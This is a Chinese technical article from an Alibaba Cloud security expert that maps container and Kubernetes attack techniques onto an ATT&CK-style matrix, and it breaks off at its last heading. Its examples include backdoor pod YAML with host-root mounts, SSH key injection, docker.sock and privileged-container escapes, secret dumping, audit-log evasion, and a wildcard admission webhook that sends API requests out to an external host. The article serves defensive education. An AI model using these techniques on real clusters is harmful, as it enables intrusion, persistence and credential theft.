作者 |  阿里雲容器安全專家, 徐越(樂枕)

責編 | 屠敏

圖 | CSDN 下載自東方 IC

出品 | CSDN(ID:CSDNnews)

容器化帶來的安全隱患

過去的2019 年是企業容器化爆發的一年。據統計已經有超過 90% 的互聯網企業正在部署或使用容器,希望能通過更爲敏捷的方式快速響應市場需求。

然而,伴隨着容器技術的快速發展,容器安全問題也逐漸成爲企業所關注的話題,同時,開發和運維人員缺乏對容器的安全威脅和最佳實踐的認識也可能會使業務從一開始就埋下安全隱患。Tripwire的調研顯示,60%的受訪者所在公司在過去的一年中發生過至少一起容器安全事故。在部署規模超過100個容器的公司中,安全事故的比例上升到了75%,由此可見,快速擁抱容器化帶來的安全風險不容忽視。本文對雲上容器ATT&CK矩陣做了詳細闡述,希望能幫助開發和運維人員瞭解容器的安全風險和落地安全實踐。

雲上容器攻擊矩陣概覽

ATT&CK®框架(Reference ATTACK Matrix for Container on Cloud)是網絡攻擊中涉及的已知策略和技術的知識庫。爲便於企業構建容器化應用安全體系,阿里雲在傳統主機安全的基礎上,圍繞自建容器集羣以及雲原生容器服務場景,通過全面分析黑客攻擊Docker和K8s的過程和手段,推出容器安全ATT&CK矩陣,讓黑客無所遁形,助力企業全面提升容器安全能力水位。

雲上容器ATT&CK矩陣詳解

1. Initial Access/初始訪問

1.1 雲賬號AK泄露

雲平臺安全是雲服務(容器服務、VM服務)的基礎,如果業務代碼需要通過AccessKey的方式進行鑑權並與雲服務通信,應至少爲每個雲服務創建子賬號並賦予需要的最小權限,同時推薦使用雲平臺提供的角色(如阿里雲RAM角色)進行認證和授權。在實踐中我們發現,存在部分管理員在進行代碼託管時,使用主賬號AK(擁有全部雲資源控制權限)並不慎將其泄露到公開倉庫(如Github),進而導致其雲服務遭受入侵的場景,針對這一風險點,需要企業在使用雲原生服務及容器化應用的過程中時刻關注。

1.2 使用惡意鏡像

部分容器開發者會使用公開的鏡像源(如dockerhub)下載鏡像並在業務環境中運行,但如果不慎使用了存在漏洞的鏡像,會給業務帶來安全風險。此外,攻擊者時常會將惡意鏡像部署到dockerhub,並通過誘導安裝或鏈路劫持對企業進行供應鏈攻擊。

示例:一個在Dockerhub中僞裝成mysql的惡意鏡像,同時攜帶了挖礦程序:

1.3 K8sAPI Server 未授權訪問

K8s API Server作爲K8s集羣的管理入口,通常使用8080和6443端口,其中8080端口無需認證,6443端口需要認證且有TLS保護。

如果開發者使用8080端口,並將其暴露在公網上,攻擊者就可以通過該端口API,直接對集羣下發指令,或訪問/ui進入K8s集羣管理dashboard,操作K8s實施破壞。

1.4 K8s configfile 泄露

K8s configfile作爲k8s集羣的管理憑證,其中包含有關K8s集羣的詳細信息,包括它們API Server的地址和登錄憑證。在購買託管容器服務時,雲廠商會向用戶提供該文件以便於用戶可以通過kubectl對集羣進行管理。如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、泄露到Github的代碼等),就可以直接通過API Server接管K8s集羣,帶來風險隱患。

示例:阿里雲容器服務K8s configfile:

1.5 Docker daemon公網暴露

Docker以client-server模式工作,其中docker daemon服務在後臺運行,負責管理容器的創建、運行和停止操作,並提供docker許多其他運行時功能。執行docker命令會調用一個客戶端,該客戶端通過Docker的REST API將命令發送到服務端(docker daemon)。

在Linux主機上,docker daemon監聽它在/var/run/docker.sock中創建的unix socket。爲了使docker daemon可管理,可以通過配置TCP socket將其暴露在網絡中,一般情況下2375端口用於未認證的HTTP通信,2376用於可信的HTTPS通信。

如果管理員測試業務時配置不當導致docker.sock通過2375暴露在公網,攻擊者即可通過該API接管docker服務。

示例:Docker daemon的2375端口的暴露:

docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

1.6 容器內應用漏洞入侵

同主機安全一樣,容器中運行的應用側漏洞(如WEB應用RCE漏洞、Redis未授權訪問等)也會成爲黑客的突破口,攻擊者可以利用這些漏洞進入容器內部併發起進一步攻擊。

1.7 Master節點SSH登錄憑證泄露

常見的容器集羣管理方式是通過登錄Master節點或運維跳板機,然後再通過kubectl命令工具來控制k8s。在此情況下,前置節點的SSH憑證泄露或被攻破也會使K8s集羣暴露在風險中。

1.8 私有鏡像庫暴露

在容器化應用場景中,公司使用鏡像來進行持續集成和自動化部署,這些鏡像往往通過專用的私有鏡像庫來管理。暴露在公網的私有鏡像庫極有可能遭受攻擊者入侵,並通過劫持供應鏈來滲透下游業務。

以Harbor爲例,Harbor是一個用於存儲和分發Docker鏡像的企業級Registry開源服務器,集成了Docker Hub、Docker Registry、谷歌容器等。它提供了一個簡單的GUI,允許用戶根據自己的權限下載、上傳和掃描鏡像。在過去的數年裏,Harbor逐漸受到人們的關注併成爲CNCF的孵化項目,被企業廣泛應用。Harbor在2019年披露了一個嚴重漏洞CVE-2019-16097,該漏洞允許攻擊者通過發送惡意請求以管理員權限創建用戶,從而接管Harbor。該漏洞利用方式簡單,對暴露在公網的Harbor服務構成較大威脅。

2.Execution/執行

2.1 通過kubectl進入容器

Kubectl是一個管理k8s集羣的命令行工具,kubectl在$HOME/.kube目錄中尋找一個名爲config的文件並連接API Server進行鑑權操作。攻擊者可以通過kubectl exec指令在任意pod內部執行命令。

示例:kubectl exec進入pod內部執行指令:

xy@x-8 ~/D/t/K8s_demo> kubectl get pod
NAME         READY   STATUS    RESTARTS   AGE
app-1-wp-0   1/1     Running   0          182d
app-1-wp-1   1/1     Running   0          182d
myapp        1/1     Running   0          11d
myappnew     1/1     Running   0          11d
xy@x-8 ~/D/t/K8s_demo> kubectl exec -it myappnew /bin/bash
root@myappnew:/# whoami
root

2.2 創建後門容器

攻擊者可通過擁有pods權限的用戶創建基礎鏡像並利用其執行後續滲透操作。

示例:通過yaml文件創建pod,並將pod的根目錄/掛載到容器/mnt目錄下,操作宿主機文件:

xy@x-8 ~/D/test> cat mymaster.yaml
apiVersion: v1
kind: Pod
metadata:
  name: myappnew
spec:
  containers:
  - image: nginx
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /
xy@x-8 ~/D/test> kubectl create -f ~/Desktop/test/mymaster.yaml
pod/myappnew created
xy@x-8 ~/D/test> kubectl exec -it myappnew /bin/bash
root@myappnew:/# cd /mnt
root@myappnew:/mnt# ls
bin   checkapp  etc   lib    lost+found  mnt  proc  run   srv  tmp  var
boot  dev   home  lib64  media   opt  root  sbin  sys  usr

2.3 通過K8s控制器部署後門容器

Kubernetes中運行了一系列控制器(Controllers)來確保集羣的當前狀態與期望狀態保持一致。例如,ReplicaSet控制器負責維護集羣中運行的Pod數量;Node控制器負責監控節點的狀態,並在節點出現故障時及時做出響應。

攻擊者在擁有controllers權限情況下可以通過ReplicaSet/DaemonSet/Deplyment創建並維持後門容器。

示例:攻擊者通過controllers攻擊:

xy@x-8 ~/D/test> cat nginx-deploy.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  labels:
    app: nginx-test
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - image: nginx
        name: container
        volumeMounts:
        - mountPath: /mnt
          name: test-volume
      volumes:
      - name: test-volume
        hostPath:
          path: /
xy@x-8 ~/D/test> kubectl apply -f nginx-deploy.yaml
deployment.apps/nginx-deployment created
xy@x-8 ~/D/test> kubectl get pods
NAME                               READY   STATUS    RESTARTS   AGE
app-1-wp-0                         1/1     Running   0          183d
app-1-wp-1                         1/1     Running   0          183d
myapp                              1/1     Running   0          12d
myappnew                           1/1     Running   0          38m
nginx-deployment-b676778d6-lcz4p   1/1     Running   0          55s

2.4 利用Service Account連接API Server執行指令

Kubernetes區分用戶和服務(Service Account)兩種賬戶,其中用戶賬戶便於管理員與集羣交互,服務賬號用於Pod進程調用Kubernetes API或其他外部服務。 

K8s pod中默認攜帶服務賬戶的訪問憑證,如果被入侵的pod存在高權限的用戶,則容器中可以直接通過service account向K8s下發指令。

示例:service account在容器內部的默認路徑:

cd /var/run/secrets/kubernetes.io/serviceaccount

示例:帶憑證訪問API server的方式:

curl -voa  -s  https://192.168.0.234:6443/version
# 以下命令相當於 kubectl get no
curl -s https://192.168.0.234:6443/api/v1/nodes?watch  --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tOGprZmQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2DydmljZS1hY2NvdW50LnVpZCI6Ijg4Y2ZmNmYzLWY0NzktMTFlOS1iZmY1LTJlYzU3MmZlMWRjOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.OU740qNcSf0Z__vAO1XJWUw9fvNNI2e4LxHypkpzREmnqrK9UZ-rrp9tG8Vxbc65FlPFj9efdpfWYExxjDDQwQTi-5Afmk4EA6EH-4vEs4V1r4gb0za8cyPVSAjzmEh7uIMgQHVo7y32V_BqUd8cmBoTdgnTY8Nx2QvMClvoYvEWvDKhbMnQjWH1x5Z6jK0iNg7btlK_WXnz8-yU2a0-jgoZFZ8D_qX16mZJ_ZoxEwPNTeNR8pP1l3ebZGVqBQA1PIFVG4HOlYomZya_DWGleMRYpulnECtBOTYyswzCwN8qJUVsdv6yWH1blWHKzYrkcoDmp2r6QhekaG1KFoX_YA" --cacert ca.crt

2.5 帶有SSH服務的容器

含有SSH服務的容器暴露了新的攻擊面,由於暴力破解或者登錄憑證泄露,攻擊者可以進入到容器內部執行指令進行惡意操作。這種情況多見於自建容器或K8s環境(一些運維人員將容器當做VM使用)。此外當攻擊者逃逸到node節點時可以通過添加賬號或寫入/.ssh/authorized_keys等方式利用SSH下發後續惡意指令。

2.6 通過雲廠商CloudShell下發指令

針對VM和容器服務的管理,雲服務商往往會提供沙箱化的便捷管理工具,在雲賬號憑證泄露的情況下,攻擊者可以通過雲廠商提供的API接管集羣。此外雲廠商沙箱本身的安全問題也會影響到用戶集羣安全。

示例:通過Cloud Shell管理集羣:

3.Persistence/持久化

3.1 部署遠控客戶端

(參考2.3部分通過K8s控制器部署後門容器)攻擊者通過K8s DaemonSet向每個Node中植入後門容器,這些容器可以設置爲特權容器並通過掛載宿主機的文件空間來進一步向每個Node植入二進制並遠控客戶端,從而完成Node層持久化,且後續操作不會觸發K8s層的審計策略。

3.2 通過掛載目錄向宿主機寫入文件

一種常見的容器逃逸方法,如果容器/Pod啓動時將VM的核心目錄以寫權限掛載(如/root, /proc, /etc等),則攻擊者進入容器後可以修改敏感文件進行逃逸,如利用/etc/crontab執行定時任務、修改/root/.ssh/authorized_keys獲取SSH登錄權限、讀取其他進程空間內容等。

示例:不安全的目錄掛載:

docker run -it -v /root:/root ubuntu /bin/bash

寫入SSH憑證

(echo -e "\n\n";cat id_rsa_new.pub) >> /root/.ssh/authorized_keys

3.3 K8s cronjob持久化

Cronjob是K8s controller的一種,用於創建基於時間的調度任務(類似主機的/etc/crontab)。攻擊者在獲取controller create權限後可以創建cronjob實現持久化。

示例:cronjob持久化

xy@x-8 ~/D/test> cat cronjob.yaml
apiVersion: batch/v1beta1
kind: CronJob
metadata:
  name: echotest
spec:
  schedule: "*/1 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: container
            image: nginx
            args:
            - /bin/sh
            - -c
            - echo test
          restartPolicy: OnFailure
xy@x-8 ~/D/test> kubectl create -f cronjob.yaml
cronjob.batch/echotest created
xy@x-8 ~/D/test> kubectl get cronjobs
NAME           SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE
echotest       */1 * * * *   False     3        26s             3m8s

3.4 在私有鏡像庫的鏡像中植入後門

(參考1.8私有鏡像庫暴露)攻擊者在接管企業私有鏡像庫之後,可以進行拉取私有鏡像竊取信息、刪除倉庫中的鏡像、替換倉庫中的鏡像、爲已有鏡像添加後門、在鏡像服務中創建後門賬號等惡意操作。

一種持久化攻擊方式是在dockerfile中加入額外的惡意指令層來執行惡意代碼,同時該方法可以自動化並具有通用性。同時在Docker鏡像的分層存儲中,每一層的變化都將以文件的形式保留在image內部,一種更爲隱蔽的持久化方式是直接編輯原始鏡像的文件層,將鏡像中原始的可執行文件或鏈接庫文件替換爲精心構造的後門文件之後再次打包成新的鏡像,從而實現在正常情況下無行爲,僅在特定場景下觸發的持久化工具。

3.5 修改核心組件訪問權限

攻擊者通過ConfigMap修改Kubelet使其關閉認證並允許匿名訪問,或暴露API Server的未授權HTTP接口,使其在後續滲透過程中擁有持續的後門命令通道。

4. Privilege Escalation/權限提升

4.1 利用特權容器逃逸

Docker允許特權容器訪問宿主機上的所有設備,同時修改AppArmor或SELinux的配置,使特權容器擁有與那些直接運行在宿主機上的進程幾乎相同的訪問權限。在這種情況下,攻擊者從特權容器逃逸是極其容易實現的。

示例:將系統盤掛載到容器內部,讀寫宿主機文件:

root@d000b330717d:/# fdisk -l
Disk /dev/vda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xe2eb87fa

Device     Boot Start      End  Sectors Size Id Type
/dev/vda1  *     2048 83886046 83883999  40G 83 Linux
root@d000b330717d:/# mkdir /mnt1
root@d000b330717d:/# mount /dev/vda1 /mnt1
root@d000b330717d:/# cd /mnt1
root@d000b330717d:/mnt1# ls
bin   etc         initrd.img.old  lost+found  opt   run   sys  var
boot  home        lib             media       proc  sbin  tmp  vmlinuz
dev   initrd.img  lib64           mnt         root  srv   usr  vmlinuz.old

4.2 K8s Rolebinding添加用戶權限

K8s使用基於角色的訪問控制(RBAC)來進行操作鑑權,允許管理員通過 Kubernetes API 動態配置策略。某些情況下運維人員爲了操作便利,會對普通用戶授予cluster-admin的角色,攻擊者如果收集到該用戶登錄憑證後,可直接以最高權限接管K8s集羣。少數情況下,攻擊者可以先獲取角色綁定(RoleBinding)權限,並將其他用戶添加cluster-admin或其他高權限角色來完成提權。

4.3 利用掛載目錄逃逸

參考(3.2通過掛載目錄向宿主機寫入文件),攻擊者在容器內部可以利用掛載通道修改宿主機文件來實現逃逸。

4.4 利用操作系統內核漏洞逃逸

操作系統內核安全(如Linux內核)是容器安全體系的基石,是實現容器隔離設計的前提。內核漏洞的利用往往從用戶空間非法進入內核空間開始,在內核空間賦予當前或其他進程高權限以完成提權操作。在雲原生場景中,雲廠商會在VM層爲操作系統內核漏洞進行補丁修復,避免用戶被已公開的內核漏洞攻擊。

4.5 利用Docker漏洞逃逸

Docker軟件歷史上出現過多個高危安全漏洞,目前仍有一定影響的是兩個2019年的漏洞:Docker runc RCE(CVE-2019-5736)和Docker cp RCE(CVE-2019-14271)。兩個漏洞均利用了Docker本身的功能設計缺陷,利用覆蓋容器內部runc文件、libnss庫,從而實現從容器到宿主機的逃逸行爲。從攻擊者角度來看,這兩個漏洞均需要與宿主機交互纔會觸發payload執行,實戰中並不高效,但Docker既要隔離又要通信的機制設計或許會在未來暴露出更多問題。在雲服務商提供的託管K8s集羣以及Serverless服務中,Docker服務自身安全性會由雲服務商維護,相比自建,安全性會更有保障。

4.6 利用K8s漏洞進行提權

容器化基礎設施每一環的軟件漏洞都會帶來安全風險。Kubernetes特權升級漏洞(CVE-2018-1002105)允許普通用戶在一定前提下提升至K8s API Server的最高權限。該漏洞需要用戶擁有對某個namespace下pod的操作權限,同時需要client到API Server和kubelet的網絡通路來實施攻擊。同樣,該漏洞在雲服務中已經被服務商修復,在自建的K8s集羣中仍有發揮空間。

4.7 容器內訪問docker.sock逃逸

當docker.sock被掛載到容器內部時,攻擊者可以在容器內部訪問該socket,管理docker daemon。

docker -v /var/run/docker.sock:/var/run/docker.sock

此時容器內部可以與docker deamon通信,並另起一個高權限的惡意容器,從而拿到root shell。

示例:與docker deamon通信:

find / -name docker.sock
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json

4.8 利用Linux Capabilities逃逸

容器即隔離,容器在設計上使用cgroup、namespace等對宿主機的資源進行隔離及調度使用,同時也支持使用Linux capabilities做細粒度的權限管控。從這一角度來看,不安全的權限分配會爲容器逃逸提供通路。

示例:K8s YAML配置中對capabilities的支持:

securityContext:
  capabilities:
    drop:
    - ALL
    add:
- NET_BIND_SERVICE

docker會以白名單方式賦予容器運行所需的capabilities權限,我們可以在docker run命令中使用 --cap-add 以及 --cap-drop 參數控制capabilities。以下命令對容器開放了宿主機的進程空間,同時賦予容器CAP_SYS_PTRACE權限,此時攻擊者在容器內部可以注入宿主機進程從而實現逃逸。

docker run -it --pid=host --cap-add=CAP_SYS_PTRACE ubuntu

5. DefenseEvasion/防禦逃逸

5.1 容器及宿主機日誌清理

攻擊者在獲得一定權限之後,可以擦除容器內部及宿主機的系統日誌以及服務日誌,爲企業的入侵事件覆盤以及溯源增加難度。目前容器運行時安全解決方案中均採用實時的日誌採集、自保護方案以及日誌採集異常的預警,來解決日誌惡意擦除導致的溯源問題。同時,在雲原生的容器攻防戰場中,惡意卸載安全產品agent以切斷日誌採集能力也逐漸成爲了常見的攻擊方式。

5.2 K8s Audit日誌清理

Kubernetes Audit功能提供了與安全相關的按時間順序排列的記錄集,記錄單個用戶、管理員或系統其他組件影響系統的活動順序。日誌提供了包括事件、時間、用戶、作用對象、發起者、執行結果等詳細信息,爲運行時安全審計提供便利。攻擊者可以通過清理本地日誌文件(用戶/服務商可自定義位置)以及切斷服務商/安全產品的日誌上傳通道(卸載agent或者阻斷網絡通路)來隱藏對K8s集羣的操作,一些容器安全產品通過K8s AuditSink功能將日誌導出到外部審計,也可通過修改K8s配置進行開啓或關閉。

示例:阿里雲容器服務KubernetesAudit審計中心:

5.3 利用系統Pod僞裝

K8s在部署時會在kube-system namespace中內置一些常見的功能性pod。在雲廠商提供的容器服務中,集羣還會默認攜帶一些雲服務的組件(如日誌採集、性能監控的agent)。攻擊者可以利用常見的K8s內置pod作爲後門容器,或將後門代碼植入這些pod來實現隱蔽的持久化。

示例:阿里雲託管版K8s服務內置pod:

xy@x-8 ~/D/test> kubectl get deployments --namespace=kube-system
NAME                              READY   UP-TO-DATE   AVAILABLE   AGE
alibaba-log-controller            1/1     1            1           183d
alicloud-application-controller   1/1     1            1           183d
alicloud-disk-controller          1/1     1            1           183d
alicloud-monitor-controller       1/1     1            1           183d
aliyun-acr-credential-helper      1/1     1            1           183d
coredns                           2/2     2            2           183d
metrics-server                    1/1     1            1           183d
nginx-ingress-controller          2/2     2            2           183d
tiller-deploy                     1/1     1            1           183d

5.4 通過代理或匿名網絡訪問K8s API Server

利用代理或匿名網絡執行攻擊是常見的反溯源行爲,在K8s Audit日誌中記錄了每個行爲發起者的源IP,通過公網訪問API Server的IP將會被記錄並觸發異常檢測和威脅情報的預警。

示例:K8s Audit日誌對pod exec行爲的記錄:

5.5 清理安全產品Agent

目前主流容器運行時的安全產品部署方式有兩種:平行容器模式和主機agent模式。前者創建安全容器採集pod、K8s集羣日誌以及實現網絡代理;後者在VM層對容器層的進程網絡文件進行採集。攻擊者在獲取到集羣管理權限或逃逸到宿主機時,可以通過清理掉安全產品植入的探針,破壞日誌完整性,使後續攻擊行爲無法被審計工具發現。在這一過程中,安全容器或主機agent異常離線往往會觸發保護性告警。

5.6 創建影子API Server

攻擊者可以複製原生API Server的配置,修改關鍵參數(例如關閉認證,允許匿名訪問,使用HTTP請求),再使用這些修改過的參數創建Pods。攻擊者可以通過這個影子API Server直接獲取etcd內存儲的內容,使後續滲透行爲在審計日誌中匿名。

5.7 創建超長annotations使K8s Audit日誌解析失敗

一般情況下雲廠商/安全產品會使用自身日誌服務的agent對K8s Audit日誌進行採集和解析,以便於與後續審計規則結合。在入侵檢測中,日誌的採集-存儲-計算的過程會受限於agent的性能佔用、Server端日誌服務以及其他雲產品/開源組件對存儲和計算的限制,過長的字段將有可能觸發截斷,導致敏感信息無法經過審計規則從而繞過入侵檢測,K8s API請求中允許攜帶1.5MiB的數據,但在Google StackDriver日誌服務僅允許解析256KB的內容,這將導致Audit日誌中的敏感信息(如創建Pod時的磁盤掛載配置項)繞過審計。

示例:通過無意義的超長annotations攻擊日誌分析鏈路:

apiVersion: v1
kind: Pod
metadata:
  name: annotations-bypass
  annotations:
    useless-key: useless-value(1 MiB)
...

6. Credential Access/竊取憑證

6.1 K8s Secret泄露

K8s使用Secret對象對access key、密碼、OAuth token和ssh key等敏感信息進行統一管理。pod定義時可以引用secret對象以便在運行時訪問。攻擊者可以通過pod內部service account或更高權限用戶來獲取這些secret內容,從中竊取其他服務的通信憑證。

示例:查看並下載K8s secret保存的憑據:

xy@x-8 ~> kubectl get secrets --namespace=kube-system
NAME                                             TYPE                                  DATA   AGE
admin-token-ltbcr                                kubernetes.io/service-account-token   3      184d
alibaba-log-controller-token-9kv4m               kubernetes.io/service-account-token   3      184d
aliyun-acr-credential-helper-token-vwmlw         kubernetes.io/service-account-token   3      184d
attachdetach-controller-token-l5bfh              kubernetes.io/service-account-token   3      184d
bootstrap-signer-token-qbrx7                     kubernetes.io/service-account-token   3      184d
bootstrap-token-509e2b                           bootstrap.kubernetes.io/token         6      184d
certificate-controller-token-dgpjn               kubernetes.io/service-account-token   3      184d
cloud-node-controller-token-647sw                kubernetes.io/service-account-token   3      184d
...
xy@x-8 ~> kubectl get secret alibaba-log-controller-token-9kv4m --namespace=kube-system -o yaml

6.2 雲產品AK泄露

雲原生的應用部署流程中會涉及到各種雲產品的API通信,當某應用被攻破後,攻擊者可以通過K8s secret或者掛載到本地的憑證文件來獲取相關服務的AK並進行橫向移動。一種常見的場景是:入侵WEB應用後獲取雲存儲(OSS)、雲數據庫(RDS)、日誌服務的通信憑證,並進一步竊取數據。

示例:關於雲產品AK的掃描規則已被工具化:

6.3 K8sService Account憑證泄露

此類場景多見於辦公網運維PC、跳板機以及通過SSH管理的master節點上。黑客在攻破此類服務器時,可以檢查本地是否存在kubectl鑑權所需的配置文件(一般在$HOME/.kube/config),該文件通常包含了登錄K8s集羣的全部信息。

6.4 應用層API憑證泄露

在複雜業務場景以及微服務架構中,K8s各個服務之間、容器與VM之間會通過API方式進行通信,竊取其通信憑證可用於橫向滲透。

6.5 利用K8s准入控制器竊取信息

K8s准入控制器(Admission Controller)用於hook客戶端對API Server的請求。其中變更(mutating)控制器可以修改被其接受的對象;驗證(validating)控制器可以審計並判斷是否允許該請求通過。准入控制器是可以串聯的,在請求到達API Server之前,如有任何一個控制器拒絕了該請求,則整個請求將立即被拒絕,並向終端用戶返回一個錯誤。

爲了便於用戶部署自己的准入服務,K8s提供了動態准入控制(Admission Webhook)功能,即用於接收准入請求並對其進行處理的HTTP回調機制。

一種利用動態准入控制實現持久化的方式:攻擊者在獲取cluster-admin權限後,可以創建惡意的准入控制器hook掉所有的API訪問,引用攻擊者的外部webhook作爲validating服務,這樣k8s就會將攜帶敏感信息的API請求發送到攻擊者所用服務器。

示例:利用准入控制器後門,使用通配符hook全部操作,使用failurePolicy和timeoutSeconds參數做到用戶側無感,從而實現隱蔽的數據竊取(如:K8s secret創建時發送到API的AK信息)。

apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
...
webhooks:
- name: my-webhook.example.com
  failurePolicy: Ignore
  timeoutSeconds: 2
  rules:
  - apiGroups:   ["*"]
    apiVersions: ["*"]
    operations:  ["*"]
    resources:   ["*/*"]
    scope:       "*"
...

7. Discovery/探測

7.1 訪問K8s API Server

(參考2.4利用Service Account連接API Server執行指令)攻擊者進入pod之後,可以通過curl或wget等http客戶端,或使用編譯好的報文構造工具,直接訪問K8s REST API,當service account具有高權限時可以直接下發命令進行橫向移動。而當用戶具有低權限時,也可能通過API Server探測到集羣內部的資源信息、運行狀態以及secret,有利於尋找下一個突破點。

7.2 訪問Kubelet API

在kubernetes集羣中,每個Node節點都會啓動Kubelet進程,用來處理Master節點下發到本節點的任務,管理Pod和其中的容器。包括10250端口的認證API、10255端口的只讀API以及10256端口的健康檢查API。

其中10255端口可以無需授權進行只讀訪問,攻擊者可以訪問/pods獲取到node、pod地址以及pod的掛載情況、環境變量等敏感信息,輔助還原業務場景和集羣網絡拓撲,以尋找後續攻擊點。

關於Kubelet API官方並未提供文檔,更多接口可在Kubelet源碼中挖掘。一些有用的路徑:

http://{node_ip}:10255/pods
http://{node_ip}:10255/spec

10250的端口當前版本中默認需要認證,但在老版本的K8s集羣中或在用戶權限(system:anonymous)被錯誤配置的情況下,可以嘗試直接通過10250端口下發指令。

示例:命令下發:

root@myappnew:/# curl --insecure  https://192.168.0.237:10250/pods
Unauthorized

7.3 Cluster 內網掃描

黑客通常會對Node、Pod、Service三個網段進行主機存活探測和端口掃描,然後從K8s內置服務、用戶應用、第三方K8s插件等角度尋找更多攻擊面,同時會通過找到Node IP並訪問Kubelet API獲取pod的詳細拓撲信息。

阿里雲容器服務默認CIDR:

7.4 訪問K8s Dashboard所在的Pod

Kubernetes Dashboard爲用戶提供WEB界面,便於創建、修改和管理Kubernetes資源(如 Deployment,Job,DaemonSet等)。Dashboard的部署取決於雲廠商和用戶自身的配置,在官方的部署流程中,dashboard會創建獨立的Namespace、Service、Role以及ServiceAccount。

示例:阿里雲容器服務提供的dashboard:

由於K8s pod之間默認允許通信,攻擊者在進入某個pod之後,可以通過信息收集或內網掃描的方式發現K8s dashboard所在service地址,並通過kubernetes-dashboard service account進行認證操作。

7.5 訪問私有鏡像庫

參考1.8和3.4關於私有鏡像庫的攻擊面,攻擊者可以在K8s secret或本地配置文件中找到私有鏡像庫的連接方式,並在權限允許的情況下劫持私有鏡像庫中的鏡像,實現橫向移動和持久化。

7.6 訪問雲廠商服務接口

(參考6.2雲產品AK泄漏)在雲原生的容器化應用中,服務往往會與多種內外部API進行交互,攻擊者可以通過收集這些API的登錄憑據或測試是否存在未授權訪問來進行攻擊準備。

此外,在某些雲服務商提供的CaaS或Serverless容器中,爲便於使用者與底層雲基礎設施進行通信,廠商通過植入專用pod或者將API掛載到業務pod的方式提供額外的接口,這些接口也會成爲攻擊者收集信息過程中的突破口。

7.7 通過NodePort訪問Service

K8s service的暴露方式由三種:ClusterIP,NodePort和LoadBalancer。其中LoadBalancer多與雲廠商的負載均衡類產品集成,具有較強的流量審計能力。

一些業務場景中存在着K8s與VM並存的內網環境,當攻擊者通過非容器化的弱點進入內網時,可以藉助NodePort進行橫向移動。在頻繁迭代的業務中,使用NodePort的服務相比ClusterIP更加固定,可用做控制通道來穿透網絡邊界管控以及防火牆的限制。

默認情況下,K8s集羣NodePort分配的端口範圍爲:30000-32767。

8. Lateral Movement/橫向移動

8.1 竊取憑證攻擊雲服務

(參考6.2雲產品AK泄漏)攻擊者利用容器內部文件或K8s secret中竊取到的雲服務通信憑證進行橫向移動。

8.2 竊取憑證攻擊其他應用

參考第6節的各項內容。在基礎設施高度容器化的場景中,絕大部分服務都是API化的,這使憑證竊取成爲擴展攻擊面、獲取目標數據的重要手段。K8s集羣、雲產品以及自建應用的通信憑證都是攻擊者竊取的目標。

8.3 通過Service Account訪問K8s API

(參考2.4利用Service Account連接API Server執行指令)攻擊者在容器內部可通過Service Account訪問K8s API刺探當前pod用戶權限,並在權限允許的前提下對API下發指令或利用K8s提權漏洞訪問集羣中的其他資源。

8.4Cluster內網滲透

一般情況下,K8s會默認允許Cluster內部的pod與service之間直接通信,這構成了一個"大內網"環境。攻擊者在突破一個pod之後,可以通過內網掃描收集服務信息並通過應用漏洞、弱口令以及未授權訪問等方式滲透Cluster的其他資源。K8s支持通過自帶的網絡策略(NetworkPolicy)來定義pod的通信規則,一些網絡側插件、容器安全產品也支持東西向的通信審計與管控。

8.5 通過掛載目錄逃逸到宿主機

(參考3.2通過掛載目錄向宿主機寫入文件)攻擊者可以利用掛載到容器內部的目錄完成從pod到node的移動。

8.6 訪問K8sDashboard

(參考7.4訪問K8s Dashboard所在的Pod)攻擊者在進入某個pod之後,可以通過信息收集或內網掃描的方式發現K8s dashboard所在service地址,並在管理員權限配置失當的情況下通過K8s Dashboard下發指令。

8.7 攻擊第三方K8s插件

爲了快速上手,很多K8s快速入門指南都會介紹一些好用的插件和配置方案,但教程的創建者很少考慮到真實生產業務中的安全問題,而這些插件往往在初始的幾個版本中存在鑑權方面的漏洞(如API默認允許未授權訪問),直到被攻擊者反覆測試之後纔會逐漸穩定可靠。這些不安全的配置以及使用的第三方K8s插件/工具會引入新的攻擊面,併爲橫向移動提供便利。

示例:常見的利用第三方組件進行橫向移動的過程:

攻擊者進入pod後,通過未授權訪問或漏洞攻擊第三方組件,並利用這些組件的權限操縱K8s集羣。

9. Impact/影響

9.1 破壞系統及數據

以破壞爲目的的攻擊者可能會停止或禁用系統上的服務、刪除某些核心文件及數據以使合法用戶無法使用這些服務。停止關鍵服務可能會抑制防禦方對事件的響應,並有利於攻擊者的最終目標。

9.2 劫持資源

常見於攻擊者通過自動化腳本入侵併植入挖礦程序進行獲利。

9.3 DoS

攻擊者會發起DoS攻擊,影響系統的可用性。容器化場景中的DoS攻擊包括對業務層、K8s API層的攻擊以及對Pod資源的搶佔。

9.4 加密勒索

